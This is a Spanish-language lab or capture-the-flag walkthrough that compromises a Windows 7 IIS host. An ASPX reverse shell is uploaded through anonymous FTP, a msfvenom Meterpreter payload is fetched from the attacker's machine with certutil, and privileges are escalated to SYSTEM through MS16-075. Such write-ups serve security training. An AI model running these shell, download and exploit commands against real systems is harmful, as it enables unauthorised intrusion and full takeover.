Enumeración de servicios
Enumeramos puertos. Además de IIS y FTP, el host expone SMB e identifica el sistema como Windows 7 SP1:
❯ nmap -sCV -p 21,80,135,139,445,5357,49152,49153,49154,49155,49156,49157 -oN 02-targeted.txt 192.168.1.10
...
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ... iisstart.htm
80/tcp open http Microsoft IIS httpd 7.5
445/tcp open microsoft-ds Windows 7 Professional 7601 SP1
...
Service Info: Host: QUOTED-PC; OS: Windows; ...Acceso inicial mediante Anonymous FTP
El listado de FTP anónimo contiene los mismos archivos que la página predeterminada de IIS, lo que indica que ambos servicios comparten el webroot. Confirmamos la escritura arbitraria subiendo un archivo de prueba y verificándolo en el listado. Después cargamos una reverse shell ASPX. Como IIS sirve y procesa ese formato, la escritura en el webroot se convierte en ejecución remota de código al solicitar el archivo por HTTP:
ftp> put file.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
10-05-24 12:16PM <DIR> aspnet_client
07-29-25 02:41AM 0 file.txt
10-05-24 12:27AM 689 iisstart.htm
10-05-24 12:27AM 184946 welcome.png
ftp> put pwned.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
15958 bytes sent in 0,0001 seconds (119,4385 Mbytes/s)La ejecutamos visitando http://192.168.1.10/pwned.aspx:
❯ rlwrap ncat -nlvp 1234
Ncat: Connection from 192.168.1.10:49160.
Spawn Shell...
Microsoft Windows [Sürüm 6.1.7601]
c:\windows\system32\inetsrv>El prompt sitúa la shell en el proceso de IIS y permite obtener la flag de usuario, pero todavía no demuestra privilegios de SYSTEM. Para preparar la escalada generamos un Meterpreter con msfvenom y lo transferimos con certutil. Lo guardamos fuera de c:\inetpub\wwwroot, porque en este escenario los binarios no se pueden ejecutar desde ese directorio:
❯ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4321 -f exe -o reverse.exe
❯ python3 -m http.server
c:\Users\quoted\Desktop>certutil.exe -f -urlcache -split http://192.168.1.5:8000/reverse.exe reverse.exeMontamos el handler con migración automática y ejecutamos reverse.exe en la víctima. La migración mueve la sesión a otro proceso para reducir la dependencia del binario inicial; no eleva privilegios por sí misma:
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 4321
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > run
c:\Users\quoted\Desktop>reverse.exeEscalada de privilegios mediante MS16-075
Tras recibir la sesión, local_exploit_suggester señala MS16-075 Reflection Juicy como aplicable. Esta técnica corresponde a CVE-2016-3225. Ejecutamos el módulo contra la sesión existente y comprobamos la identidad obtenida:
msf6 post(multi/recon/local_exploit_suggester) > run
...
15 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable.
...
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run
...
[+] Target appears to be vulnerable (Windows 7 Service Pack 1)
[*] Meterpreter session 4 opened ...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMNT AUTHORITY\SYSTEM confirma que la nueva sesión posee la identidad de mayor privilegio local en Windows.
Fin.